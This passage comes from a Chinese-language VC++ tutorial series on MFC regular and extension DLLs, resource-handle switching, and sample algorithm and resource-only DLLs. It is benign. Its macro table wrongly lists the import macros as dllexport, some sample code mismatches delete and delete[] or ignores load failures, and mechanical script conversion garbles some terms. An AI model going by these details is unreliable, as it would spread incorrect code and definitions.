ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)
END_MESSAGE_MAP()
/
// CDllDialog message handlers
void CDllDialog::OnHelloButton()
{
MessageBox("Hello,pconline的網友","pconline");
}
分析：
這一部分的程式設計與一般的應用程式根本沒有什麼不同，我們照樣可以利用MFC類向導來自動為對話框上的控件添加事件。MFC類向導照樣會生成類似ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)的消息映射宏。
第三組檔案 DLL中的資源檔案
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by RegularDll.rc
//
#define IDD_DLL_DIALOG 1000
#define IDC_HELLO_BUTTON 1000
分析：
在MFC規則DLL中使用資源也與在MFC應用程式中使用資源沒有什麼不同，我們照樣可以用Visual C++的資源編輯工具進行資源的添加、删除和屬性的更改。
第四組檔案 MFC規則DLL接口函數
#include "StdAfx.h"
#include "DllDialog.h"
extern "C" __declspec(dllexport) void ShowDlg(void)
{
CDllDialog dllDialog;
dllDialog.DoModal();
}
分析：
這個接口并不使用MFC，但是在其中卻可以調用MFC擴充類CdllDialog的函數，這展現了“規則”的概類。
與非MFC DLL完全相同，我們可以使用__declspec(dllexport)聲明或在.def中引出的方式導出MFC規則DLL中的接口。
5.4 MFC規則DLL的調用
筆者編寫了如圖12的對話框MFC程式（下載下傳本工程）來調用5.3節的MFC規則DLL，在這個程式的對話框上點選“調用DLL”按鈕時彈出5.3節MFC規則DLL中的對話框。
圖12 MFC規則DLL的調用例子
下面是“調用DLL”按鈕單擊事件的消息處理函數：
void CRegularDllCallDlg::OnCalldllButton()
{
typedef void (*lpFun)(void);
HINSTANCE hDll; //DLL句柄
hDll = LoadLibrary("RegularDll.dll");
if (NULL==hDll)
{
MessageBox("DLL加載失敗");
}
lpFun addFun; //函數指針
lpFun pShowDlg = (lpFun)GetProcAddress(hDll,"ShowDlg");
if (NULL==pShowDlg)
{
MessageBox("DLL中函數尋找失敗");
}
pShowDlg();
}
上述例子中給出的是顯示調用的方式，可以看出，其調用方式與第4節中非MFC DLL的調用方式沒有什麼不同。
我們照樣可以在EXE程式中隐式調用MFC規則DLL，隻需要将DLL工程生成的.lib檔案和.dll檔案拷入目前工程所在的目錄，并在RegularDllCallDlg.cpp檔案（圖12所示對話框類的實作檔案）的頂部添加：
#pragma comment(lib,"RegularDll.lib")
void ShowDlg(void);
并将void CRegularDllCallDlg::OnCalldllButton()改為：
void CRegularDllCallDlg::OnCalldllButton()
{
ShowDlg();
}
5.5 共享MFC DLL的規則DLL的子產品切換
應用程式程序本身及其調用的每個DLL子產品都具有一個全局唯一的HINSTANCE句柄，它們代表了DLL或EXE子產品在程序虛拟空間中的起始位址。程序本身的子產品句柄一般為0x400000，而DLL子產品的預設句柄為0x10000000。如果程式同時加載了多個DLL，則每個DLL子產品都會有不同的HINSTANCE。應用程式在加載DLL時對其進行了重定位。
共享MFC DLL（或MFC擴充DLL）的規則DLL涉及到HINSTANCE句柄問題，HINSTANCE句柄對于加載資源特别重要。EXE和DLL都有其自己的資源，而且這些資源的ID可能重複，應用程式需要通過資源子產品的切換來找到正确的資源。如果應用程式需要來自于DLL的資源，就應将資源子產品句柄指定為DLL的子產品句柄；如果需要EXE檔案中包含的資源，就應将資源子產品句柄指定為EXE的子產品句柄。
這次我們建立一個動态連結到MFC DLL的規則DLL（下載下傳本工程），在其中包含如圖13的對話框。
圖13 DLL中的對話框
另外，在與這個DLL相同的工作區中生成一個基于對話框的MFC程式，其對話框與圖12完全一樣。但是在此工程中我們另外添加了一個如圖14的對話框。
圖14 EXE中的對話框
圖13和圖14中的對話框除了caption不同（以示差別）以外，其它的都相同。
尤其值得特别注意，在DLL和EXE中我們對圖13和圖14的對話框使用了相同的資源ID=2000，在DLL和EXE工程的resource.h中分别有如下的宏：
//DLL中對話框的ID
#define IDD_DLL_DIALOG 2000
//EXE中對話框的ID
#define IDD_EXE_DIALOG 2000
與5.3節靜态連結MFC DLL的規則DLL相同，我們還是在規則DLL中定義接口函數ShowDlg，原型如下：
#include "StdAfx.h"
#include "SharedDll.h"
void ShowDlg(void)
{
CDialog dlg(IDD_DLL_DIALOG); //打開ID為2000的對話框
dlg.DoModal();
}
而為應用工程主對話框的“調用DLL”的單擊事件添加如下消息處理函數：
void CSharedDllCallDlg::OnCalldllButton()
{
ShowDlg();
}
我們以為單擊“調用DLL”會彈出如圖13所示DLL中的對話框，可是可怕的事情發生了，我們看到是圖14所示EXE中的對話框！
驚訝？
産生這個問題的根源在于應用程式與MFC規則DLL共享MFC DLL（或MFC擴充DLL）的程式總是預設使用EXE的資源，我們必須進行資源子產品句柄的切換，其實作方法有三：
方法一 在DLL接口函數中使用：
AFX_MANAGE_STATE(AfxGetStaticModuleState());
我們将DLL中的接口函數ShowDlg改為：
void ShowDlg(void)
{
//方法1:在函數開始處變更，在函數結束時恢複
//将AFX_MANAGE_STATE(AfxGetStaticModuleState());作為接口函數的第一//條語句進行子產品狀态切換
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CDialog dlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
}
這次我們再點選EXE程式中的“調用DLL”按鈕，彈出的是DLL中的如圖13的對話框！嘿嘿，彈出了正确的對話框資源。
AfxGetStaticModuleState是一個函數，其原型為：
AFX_MODULE_STATE* AFXAPI AfxGetStaticModuleState( );
該函數的功能是在棧上（這意味着其作用域是局部的）建立一個AFX_MODULE_STATE類（子產品全局資料也就是子產品狀态）的執行個體，對其進行設定，并将其指針pModuleState傳回。
AFX_MODULE_STATE類的原型如下：
// AFX_MODULE_STATE (global data for a module)
class AFX_MODULE_STATE : public CNoTrackObject
{
public:
#ifdef _AFXDLL
AFX_MODULE_STATE(BOOL bDLL, WNDPROC pfnAfxWndProc, DWORD dwVersion);
AFX_MODULE_STATE(BOOL bDLL, WNDPROC pfnAfxWndProc, DWORD dwVersion,BOOL bSystem);
#else
AFX_MODULE_STATE(BOOL bDLL);
#endif
~AFX_MODULE_STATE();
CWinApp* m_pCurrentWinApp;
HINSTANCE m_hCurrentInstanceHandle;
HINSTANCE m_hCurrentResourceHandle;
LPCTSTR m_lpszCurrentAppName;
… //省略後面的部分
}
AFX_MODULE_STATE類利用其構造函數和析構函數進行存儲子產品狀态現場及恢複現場的工作，類似彙編中call指令對pc指針和sp寄存器的儲存與恢複、中斷服務程式的中斷現場壓棧與恢複以及作業系統線程排程的任務控制塊儲存與恢複。
許多看似不着邊際的知識點居然有驚人的相似！
AFX_MANAGE_STATE是一個宏，其原型為：
AFX_MANAGE_STATE( AFX_MODULE_STATE* pModuleState )
該宏用于将pModuleState設定為目前的有效子產品狀态。當離開該宏的作用域時（也就離開了pModuleState所指向棧上對象的作用域），先前的子產品狀态将由AFX_MODULE_STATE的析構函數恢複。
方法二 在DLL接口函數中使用：
AfxGetResourceHandle();
AfxSetResourceHandle(HINSTANCE xxx);
AfxGetResourceHandle用于擷取目前資源子產品句柄，而AfxSetResourceHandle則用于設定程式目前要使用的資源子產品句柄。
我們将DLL中的接口函數ShowDlg改為：
void ShowDlg(void)
{
//方法2的狀态變更
HINSTANCE save_hInstance = AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialog dlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
//方法2的狀态還原
AfxSetResourceHandle(save_hInstance);
}
通過AfxGetResourceHandle和AfxSetResourceHandle的合理變更，我們能夠靈活地設定程式的資源子產品句柄，而方法一則隻能在DLL接口函數退出的時候才會恢複子產品句柄。方法二則不同，如果将ShowDlg改為：
extern CSharedDllApp theApp; //需要聲明theApp外部全局變量
void ShowDlg(void)
{
//方法2的狀态變更
HINSTANCE save_hInstance = AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialog dlg(IDD_DLL_DIALOG);//打開ID為2000的對話框
dlg.DoModal();
//方法2的狀态還原
AfxSetResourceHandle(save_hInstance);
//使用方法2後在此處再進行操作針對的将是應用程式的資源
CDialog dlg1(IDD_DLL_DIALOG); //打開ID為2000的對話框
dlg1.DoModal();
}
在應用程式主對話框的“調用DLL”按鈕上點選，将看到兩個對話框，相繼為DLL中的對話框（圖13）和EXE中的對話框（圖14）。
方法三 由應用程式自身切換
資源子產品的切換除了可以由DLL接口函數完成以外，由應用程式自身也能完成（下載下傳本工程）。
現在我們把DLL中的接口函數改為最簡單的：
void ShowDlg(void)
{
CDialog dlg(IDD_DLL_DIALOG); //打開ID為2000的對話框
dlg.DoModal();
}
而将應用程式的OnCalldllButton函數改為：
void CSharedDllCallDlg::OnCalldllButton()
{
//方法3：由應用程式本身進行狀态切換
//擷取EXE子產品句柄
HINSTANCE exe_hInstance = GetModuleHandle(NULL);
//或者HINSTANCE exe_hInstance = AfxGetResourceHandle();
//擷取DLL子產品句柄
HINSTANCE dll_hInstance = GetModuleHandle("SharedDll.dll");
AfxSetResourceHandle(dll_hInstance); //切換狀态
ShowDlg(); //此時顯示的是DLL的對話框
AfxSetResourceHandle(exe_hInstance); //恢複狀态
//資源子產品恢複後再調用ShowDlg
ShowDlg(); //此時顯示的是EXE的對話框
}
方法三中的Win32函數GetModuleHandle可以根據DLL的檔案名擷取DLL的子產品句柄。如果需要得到EXE子產品的句柄，則應調用帶有Null參數的GetModuleHandle。
方法三與方法二的不同在于方法三是在應用程式中利用AfxGetResourceHandle和AfxSetResourceHandle進行資源子產品句柄切換的。同樣地，在應用程式主對話框的“調用DLL”按鈕上點選，也将看到兩個對話框，相繼為DLL中的對話框（圖13）和EXE中的對話框（圖14）。
在下一節我們将對MFC擴充DLL進行詳細分析和執行個體講解，歡迎您繼續關注本系列連載。
VC++動态連結庫(DLL)程式設計（四）――MFC擴充 DLL
VC++動态連結庫(DLL)程式設計（四）
――MFC擴充 DLL
作者：宋寶華 e-mail:[email protected]
前文我們對非MFC DLL和MFC規則DLL進行了介紹，現在開始詳細分析DLL的最後一種類型――MFC擴充DLL。
6.1概論
MFC擴充DLL與MFC規則DLL的相同點在于在兩種DLL的内部都可以使用MFC類庫，其不同點在于MFC擴充DLL與應用程式的接口可以是MFC的。MFC擴充DLL的含義在于它是MFC的擴充，其主要功能是實作從現有MFC庫類中派生出可重用的類。MFC擴充DLL使用MFC動态連結庫版本，是以隻有用共享MFC 版本生成的MFC可執行檔案（應用程式或規則DLL）才能使用MFC擴充DLL。
從前文可知，MFC規則DLL被MFC向導自動添加了一個CWinApp的對象，而MFC擴充DLL則不包含該對象，它隻是被自動添加了DllMain函數。對于MFC擴充DLL，開發人員必須在DLL的DllMain函數中添加初始化和結束代碼。
從下表我們可以看出三種DLL對DllMain入口函數的不同處理方式：
| DLL類型 | 入口函數 |
| 非 MFC DLL | 程式設計者提供DllMain函數 |
| MFC規則 DLL | CWinApp對象的InitInstance和 ExitInstance |
| MFC擴充 DLL | MFC DLL向導生成DllMain函數 |
對于MFC擴充DLL，系統會自動在工程中添加如下表所示的宏，這些宏為DLL和應用程式的編寫提供了友善。像AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA這樣的宏，在DLL和應用程式中将具有不同的定義，這取決于_AFXEXT宏是否被定義。這使得在DLL和應用程式中，使用統一的一個宏就可以表示出輸出和輸入的不同意思。在DLL中，表示輸出（因為_AFXEXT被定義，通常是在編譯器的辨別參數中指定/D_AFXEXT）；在應用程式中，則表示輸入（_AFXEXT沒有定義）。
| 宏 | 定義 |
| AFX_CLASS_IMPORT | __declspec(dllexport) |
| AFX_API_IMPORT | __declspec(dllexport) |
| AFX_DATA_IMPORT | __declspec(dllexport) |
| AFX_CLASS_EXPORT | __declspec(dllexport) |
| AFX_API_EXPORT | __declspec(dllexport) |
| AFX_DATA_EXPORT | __declspec(dllexport) |
| AFX_EXT_CLASS | #ifdef _AFXEXT AFX_CLASS_EXPORT #else AFX_CLASS_IMPORT |
| AFX_EXT_API | #ifdef _AFXEXT AFX_API_EXPORT #else AFX_API_IMPORT |
| AFX_EXT_DATA | #ifdef _AFXEXT AFX_DATA_EXPORT #else AFX_DATA_IMPORT |
6.2 MFC擴充DLL導出MFC派生類
在這個例子中，我們将産生一個名為“ExtDll”的MFC擴充DLL工程，在這個DLL中導出一個對話框類，這個對話框類派生自MFC類CDialog。
使用MFC向導生成MFC擴充DLL時，系統會自動添加如下代碼：
static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
extern "C" int APIENTRY
DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER( lpReserved );
//說明：lpReserved是一個被系統所保留的參數，對于隐式連結是一個非零值，對于顯式連結值是零
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0( "EXTDLL.DLL Initializing!\n" );
// Extension DLL one-time initialization
if ( !AfxInitExtensionModule( ExtDllDLL, hInstance ))
return 0;
// Insert this DLL into the resource chain
new CDynLinkLibrary( ExtDllDLL );
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0( "EXTDLL.DLL Terminating!\n" );
// Terminate the library before destructors are called
AfxTermExtensionModule( ExtDllDLL );
}
return 1; // ok
}
這一段代碼含義晦澀，我們需要對其進行解讀：
（1）上述代碼完成MFC擴充DLL的初始化和終止處理；
（2）初始化期間所建立的 CDynLinkLibrary對象使MFC擴充 DLL可以将 DLL中的CRuntimeClass對象或資源導出到應用程式；
（3）AfxInitExtensionModule函數捕獲子產品的CRuntimeClass結構和在建立 CDynLinkLibrary 對象時使用的對象工廠（COleObjectFactory對象）；
（4）AfxTermExtensionModule函數使 MFC得以在每個程序與擴充 DLL 分離時（程序退出或使用AfxFreeLibrary解除安裝DLL時）清除擴充 DLL；
（5）第一條語句static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };定義了一個AFX_EXTENSION_MODULE類的靜态全局對象，AFX_EXTENSION_MODULE的定義如下：
struct AFX_EXTENSION_MODULE
{
BOOL bInitialized;
HMODULE hModule;
HMODULE hResource;
CRuntimeClass* pFirstSharedClass;
COleObjectFactory* pFirstSharedFactory;
};
由AFX_EXTENSION_MODULE的定義我們可以更好的了解（2）、（3）、（4）點。
在資源編輯器中添加一個如圖15所示的對話框，并使用MFC類向導為其添加一個對應的類CExtDialog，系統自動添加了ExtDialog.h和ExtDialog.cpp兩個頭檔案。
圖15 MFC擴充DLL中的對話框
修改ExtDialog.h中CExtDialog類的聲明為：
class AFX_EXT_CLASS CExtDialog : public CDialog
{
public:
CExtDialog( CWnd* pParent = NULL );
enum { IDD = IDD_DLL_DIALOG };
protected:
virtual void DoDataExchange( CDataExchange* pDX );
DECLARE_MESSAGE_MAP()
};
這其中最主要的改變是我們在class AFX_EXT_CLASS CExtDialog語句中添加了“AFX_EXT_CLASS”宏，則使得DLL中的CExtDialog類被導出。
6.3 MFC擴充DLL的加載
6.3.1隐式加載
我們在6.2工程所在的工作區中添加一個LoadExtDllDlg工程，用于示範MFC擴充DLL的加載。在LoadExtDllDlg工程中添加一個如圖16所示的對話框，這個對話框上包括一個“調用DLL”按鈕。
圖16 MFC擴充DLL調用工程中的對話框
在與圖16對應對話框類實作檔案的頭部添加：
// LoadExtDllDlg.cpp : implementation file
//
#include "..\ExtDialog.h"
#pragma comment( lib, "ExtDll.lib" )
而“調用DLL”按鈕的單擊事件的消息處理函數為：
void CLoadExtDllDlg::OnDllcallButton()
{
CExtDialog extDialog;
extDialog.DoModal();
}
當我們單擊“調用DLL”的時候，彈出了如圖15的對話框。
為提供給使用者隐式加載（MFC擴充DLL一般使用隐式加載，具體原因見下節），MFC擴充DLL需要提供三個檔案：
（1）描述DLL中擴充類的頭檔案；
（2）與動态連結庫對應的.LIB檔案；
（3）動态連結庫.DLL檔案本身。
有了這三個檔案，應用程式的開發者才可充分利用MFC擴充DLL。
6.3.2顯示加載
顯示加載MFC擴充DLL應使用MFC全局函數AfxLoadLibrary而不是WIN32 API中的LoadLibrary。AfxLoadLibrary最終也調用了 LoadLibrary這個API，但是在調用之前進行了線程同步的處理。
AfxLoadLibrary 的函數原型與 LoadLibrary完全相同，為：
HINSTANCE AFXAPI AfxLoadLibrary( LPCTSTR lpszModuleName );
與之相對應的是，MFC 應用程式應使用AfxFreeLibrary而非FreeLibrary 解除安裝MFC擴充DLL。AfxFreeLibrary的函數原型也與 FreeLibrary完全相同，為：
BOOL AFXAPI AfxFreeLibrary( HINSTANCE hInstLib );
如果我們把上例中的“調用DLL”按鈕單擊事件的消息處理函數改為：
void CLoadExtDllDlg::OnDllcallButton()
{
HINSTANCE hDll = AfxLoadLibrary( "ExtDll.dll" );
if(NULL == hDll)
{
AfxMessageBox( "MFC擴充DLL動态加載失敗" );
return;
}
CExtDialog extDialog;
extDialog.DoModal();
AfxFreeLibrary(hDll);
}
則工程會出現link錯誤：
LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CExtDialog::~CExtDialog(void)" (__imp_??1CExtDialog@@[email protected])
LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CExtDialog::CExtDialog(class CWnd *)" (__imp_??0CExtDialog@@[email protected]@@@Z)
提示CExtDialog的構造函數和析構函數均無法找到！是的，對于派生MFC類的MFC擴充DLL，當我們要在應用程式中使用DLL中定義的派生類時，我們不宜使用動态加載DLL的方法。
6.4 MFC擴充DLL加載MFC擴充DLL
我們可以在MFC擴充DLL中再次使用MFC擴充DLL，但是，由于在兩個DLL中對于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定義都是輸出，這會導緻調用的時候出現問題。
我們将會在調用MFC擴充DLL的DLL中看到link錯誤：
error LNK2001: unresolved external symbol ….......
是以，在調用MFC擴充DLL的MFC擴充DLL中，在包含被調用DLL的頭檔案之前，需要臨時重新定義AFX_EXT_CLASS的值。下面的例子顯示了如何實作：
//臨時改變宏的含義“輸出”為“輸入”
#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_IMPORT
#define AFX_EXT_API AFX_API_IMPORT
#define AFX_EXT_DATA AFX_DATA_IMPORT
//包含被調用MFC擴充DLL的頭檔案
#include "CalledDLL.h"
//恢複宏的含義為輸出
#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_EXPORT
#define AFX_EXT_API AFX_API_EXPORT
#define AFX_EXT_DATA AFX_DATA_EXPORT
6.5 MFC擴充DLL導出函數和變量
MFC擴充DLL導出函數和變量的方法也十分簡單，下面我們給出一個簡單的例子。
我們在MFC向導生成的MFC擴充DLL工程中添加gobal.h和global.cpp兩個檔案：
//global.h:MFC擴充DLL導出變量和函數的聲明
extern "C"
{ int AFX_EXT_DATA total; //導出變量
int AFX_EXT_API add( int x, int y ); //導出函數
}
//global.cpp:MFC擴充DLL導出變量和函數定義
#include "StdAfx.h"
#include "global.h"
extern "C" int total;
int add(int x,int y)
{
total = x + y;
return total;
}
編寫一個簡單的控制台程式來調用這個MFC擴充DLL：
#include <iostream.h>
#include <afxver_.h>
//AFX_EXT_DATA、AFX_EXT_API宏的定義在afxver_.h頭檔案中
#pragma comment ( lib, "ExtDll.lib" )
#include "..\global.h"
int main(int argc, char* argv[])
{
cout << add(2,3) << endl;
cout << total;
return 0;
}
運作程式，在控制台上看到：
5
5
另外，在Visual C++下建立MFC擴充DLL時，MFC DLL向導會自動生成.def檔案。是以，對于函數和變量，我們除了可以利用AFX_EXT_DATA、AFX_EXT_API宏導出以外，在.def檔案中定義導出也是一個很好的辦法。與之相比，在.def檔案中導出類卻較麻煩。通常需要從工程生成的.map檔案中獲得類的所有成員函數被C++編譯器更改過的辨別符，并且在.def檔案中導出這些“奇怪”的辨別符。是以，MFC擴充DLL通常以AFX_EXT_CLASS宏直接聲明導出類。
6.6 MFC擴充DLL的應用
上述各小節所舉MFC擴充DLL的例子均隻是為了說明某方面的問題，沒有真實地展現“MFC擴充”的内涵，譬如6.2派生自CDialog的類也不具備比CDialog更強的功能。MFC擴充DLL的真實内涵展現在它提供的類雖然派生自MFC類，但是提供了比MFC類更強大的功能、更豐富的接口。下面我們來看一個具體的例子。
我們知道static控件所對應的CStatic類不具備設定背景和文本顔色的接口，這使得我們不能在對話框或其它使用者界面上自由靈活地修改static控件的顔色風格，是以我們需要一個提供了SetBackColor和SetTextColor接口的CStatic派生類CMultiColorStatic。
這個類的聲明如下：
class AFX_EXT_CLASS CMultiColorStatic : public CStatic
{
// Construction
public:
CMultiColorStatic();
virtual ~CMultiColorStatic();
// Attributes
protected:
CString m_strCaption;
COLORREF m_BackColor;
COLORREF m_TextColor;
// Operations
public:
void SetTextColor( COLORREF TextColor );
void SetBackColor( COLORREF BackColor );
void SetCaption( CString strCaption );
// Generated message map functions
protected:
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
};
在這個類的實作檔案中，我們需要為它提供WM_PAINT消息的處理函數（這是因為顔色的設定依賴于WM_PAINT消息）：
BEGIN_MESSAGE_MAP(CMultiColorStatic, CStatic)
//{{AFX_MSG_MAP(CMultiColorStatic)
ON_WM_PAINT() //為這個類定義WM_PAINT消息處理函數
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
下面是這個類中的重要成員函數：
//為CMultiColorStatic類添加“設定文本顔色”接口
void CMultiColorStatic::SetTextColor( COLORREF TextColor )
{
m_TextColor = TextColor; //設定文字顔色
}
//為CMultiColorStatic類添加“設定背景顔色”接口
void CMultiColorStatic::SetBackColor( COLORREF BackColor )
{
m_BackColor = BackColor; //設定背景顔色
}
//為CMultiColorStatic類添加“設定标題”接口
void CMultiColorStatic::SetCaption( CString strCaption )
{
m_strCaption = strCaption;
}
//重畫Static，顔色和标題的設定都依賴于這個函數
void CMultiColorStatic::OnPaint()
{
CPaintDC dc(this); // device context for painting
CRect rect;
GetClientRect( &rect );
dc.SetBkColor( m_BackColor );
dc.SetBkMode( TRANSPARENT );
CFont *pFont = GetParent()->GetFont();//得到父窗體的字型
CFont *pOldFont;
pOldFont = dc.SelectObject( pFont );//選用父窗體的字型
dc.SetTextColor( m_TextColor );//設定文本顔色
dc.DrawText( m_strCaption, &rect, DT_CENTER );//文本在Static中央
dc.SelectObject( pOldFont );
}
為了驗證CMultiColorStatic類，我們制作一個基于對話框的應用程式，它包含一個如圖17所示的對話框。該對話框上包括一個static控件和三個按鈕，這三個按鈕可分别把static控件設定為“紅色”、“藍色”和“綠色”。
圖17擴充的CStatic類調用示範
下面看看應如何編寫與這個對話框對應的類。
包含這種Static的對話框類的聲明如下：
#include "..\MultiColorStatic.h"
#pragma comment ( lib, "ColorStatic.lib" )
// CCallDllDlg dialog
class CCallDllDlg : public CDialog
{
public:
CCallDllDlg(CWnd* pParent = NULL); // standard constructor
enum { IDD = IDD_CALLDLL_DIALOG };
CMultiColorStatic m_colorstatic; //包含一個CMultiColorStatic的執行個體
protected:
virtual void DoDataExchange(CDataExchange* pDX);//DDX/DDV support
HICON m_hIcon;
// Generated message map functions
//{{AFX_MSG(CCallDllDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnRedButton();
afx_msg void OnBlueButton();
afx_msg void OnGreenButton();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
下面是這個類中與使用CMultiColorStatic相關的主要成員函數：
void CCallDllDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CCallDllDlg)
DDX_Control(pDX, IDC_COLOR_STATIC, m_colorstatic);
//使m_colorstatic與IDC_COLOR_STATIC控件關聯
//}}AFX_DATA_MAP
}
BOOL CCallDllDlg::OnInitDialog()
{
…
// TODO: Add extra initialization here
// 初始static控件的顯示
m_colorstatic.SetCaption("最開始為黑色");
m_colorstatic.SetTextColor(RGB(0,0,0));
return TRUE; // return TRUE unless you set the focus to a control
}
//設定static控件文本顔色為紅色
void CCallDllDlg::OnRedButton()
{
m_colorstatic.SetCaption( "改變為紅色" );
m_colorstatic.SetTextColor( RGB( 255, 0, 0 ) );
Invalidate( TRUE ); //導緻發出WM_PAINT消息
}
//設定static控件文本顔色為藍色
void CCallDllDlg::OnBlueButton()
{
m_colorstatic.SetCaption( "改變為藍色" );
m_colorstatic.SetTextColor( RGB( 0, 0, 255 ) );
Invalidate( TRUE ); //導緻發出WM_PAINT消息
}
//設定static控件文本顔色為綠色
void CCallDllDlg::OnGreenButton()
{
m_colorstatic.SetCaption( "改變為綠色" );
m_colorstatic.SetTextColor( RGB(0,255,0) );
Invalidate( TRUE ); //導緻發出WM_PAINT消息
}
至此，我們已經講解完成了所有類型的動态連結庫，即非MFC DLL、MFC規則DLL和MFC擴充DLL。下一節将給出DLL的三個工程執行個體，與讀者朋友們共同體會DLL的應用範圍和使用方法。
VC++動态連結庫(DLL)程式設計（五）――DLL典型執行個體
VC++動态連結庫(DLL)程式設計（五）
――DLL典型執行個體
作者：宋寶華 e-mail:[email protected]
動态連結庫DLL實作了庫的共享，展現了代碼重用的思想。我們可以把廣泛的、具有共性的、能夠多次被利用的函數和類定義在庫中。這樣，在再次使用這些函數和類的時候，就不再需要重新添加與這些函數和類相關的代碼。具有共性的問題大緻有哪些呢？筆者歸納如下：
（1）通用的算法
圖像處理、視訊音頻解碼、壓縮與解壓縮、加密與解密通常采用某些特定的算法，這些算法較固定且在這類程式中往往經常被使用。
（2）純資源DLL
我們可以從DLL中擷取資源，對于一個支援多種語言的應用程式而言，我們可以判斷作業系統的語言，并自動為應用程式加載與OS對應的語言。這是多語言支援應用程式的一般做法。
（3）通信控制DLL
序列槽、網口的通信控制函數如果由DLL提供則可以使應用程式輕松不少。在工業控制、modem程式甚至socket通信中，經常使用通信控制DLL。
本節将給出DLL的三個典型應用執行個體。
7.1 算法DLL
我們直接用讀者的一個提問作為例子。
宋寶華先生，您好！
我在pconline上看到你連載的《VC++動态連結庫(DLL)程式設計深入淺出》，覺得非常好。我以前主要是用Delphi的，C/C++學過，對Win32和VCL比較熟悉，但是沒有接觸過VC++，對MFC很陌生。這段時間和一個同學合作做光學成像的計算機模拟，用到傅立葉變換，手裡面有例程是VC++寫的。我們的界面是用Delphi開發，需要将其傅立葉變換功能提出做一個DLL供Delphi調用。苦于不懂MFC，試了很多方法，都不成功，最後隻得采用折衷方案，簡單修改一下程式，傳一個參數進去，當作exe來調用，才沒有耽擱後續程序。
……
謝謝！
緻
禮！
某某
學習過較進階别數學（機率統計與随機過程）、信号與線性系統及數字信号處理的讀者應該知道，傅立葉變換是一種在信号分析中常用的算法，用于時域和頻域的互相轉換。FFT變換算法通用而有共性，我們适宜把它內建在一個DLL中。
随後，這位讀者提供了這樣的一個函數：
void FFT(complex<double> * TD, complex<double> * FD, int r)
{
LONG count; // 傅立葉變換點數
int i,j,k; // 循環變量
int bfsize,p; // 中間變量
double angle; // 角度
complex<double> *W,*X1,*X2,*X;
count = 1 << r; //傅立葉變換點數
// 配置設定運算所需存儲器
W = new complex<double>[count / 2];
X1 = new complex<double>[count];
X2 = new complex<double>[count];
// 計算權重系數
for(i = 0; i < count / 2; i++)
{
angle = -i * PI * 2 / count;
W[i] = complex<double> (cos(angle), sin(angle));
}
// 将時域點寫入X1
memcpy(X1, TD, sizeof(complex<double>) * count);
// 采用蝶形算法進行快速傅立葉變換
for(k = 0; k < r; k++)
{
for(j = 0; j < 1 << k; j++)
{
bfsize = 1 << (r-k);
for(i = 0; i < bfsize / 2; i++)
{
p = j * bfsize;
X2[i + p] = X1[i + p] + X1[i + p + bfsize / 2];
X2[i + p + bfsize / 2] = (X1[i + p] - X1[i + p + bfsize / 2]) * W[i * (1<<k)];
}
}
X = X1;
X1 = X2;
X2 = X;
}
// 重新排序
for(j = 0; j < count; j++)
{
p = 0;
for(i = 0; i < r; i++)
{
if (j&(1<<i))
{
p+=1<<(r-i-1);
}
}
FD[j]=X1[p];
}
// 釋放記憶體
delete W;
delete X1;
delete X2;
}
既然有了FFT這個函數，我們要把它做在DLL中，作為DLL的一個接口将是十分簡單的，其步驟如下：
（1）利用MFC向導建立一個非MFC DLL；
（2）在工程中添加fft.h和fft.cpp兩個檔案；
fft.h的源代碼為：
#ifndef FFT_H
#define FFT_H
#include <complex>
using namespace std;
extern "C" void __declspec(dllexport) __stdcall FFT(complex<double> * TD, complex<double> * FD, int r);
#define PI 3.1415926
#endif
fft.cpp的源代碼為：
#include "fft.h"
void __stdcall FFT(complex<double> * TD, complex<double> * FD, int r)
{
…//讀者提供的函數代碼
}
在任何程式設計語言中使用Win32 API LoadLibrary都可以加載這個DLL，而使用GetProcAddress(hDll, "FFT")則可以獲得函數FFT的位址，讀者所提到的Delphi當然也不例外。
這個DLL中有兩點需要注意：
（1）使用extern "C"修飾函數聲明，否則，生成的DLL隻能供C++調用；
（2）使用__stdcall修飾函數聲明及定義，__stdcall是Windows API的函數調用方式。
7.2純資源DLL
我們在應用程式中産生如圖18所示的資源（對話框）。
圖18 中文對話框
在與這個應用程式相同的工作區裡利用MFC向導建立兩個簡單的DLL，把應用工程中的資源全選後分别拷貝到ChineseDll和EngLishDll，在EnglishDll工程的資源檔案中搜尋下面的語句：
/
// Chinese (P.R.C.) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
#ifdef _WIN32
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)
#endif //_WIN32
将其改為：
/
// English (U.S.) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
#ifdef _WIN32
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
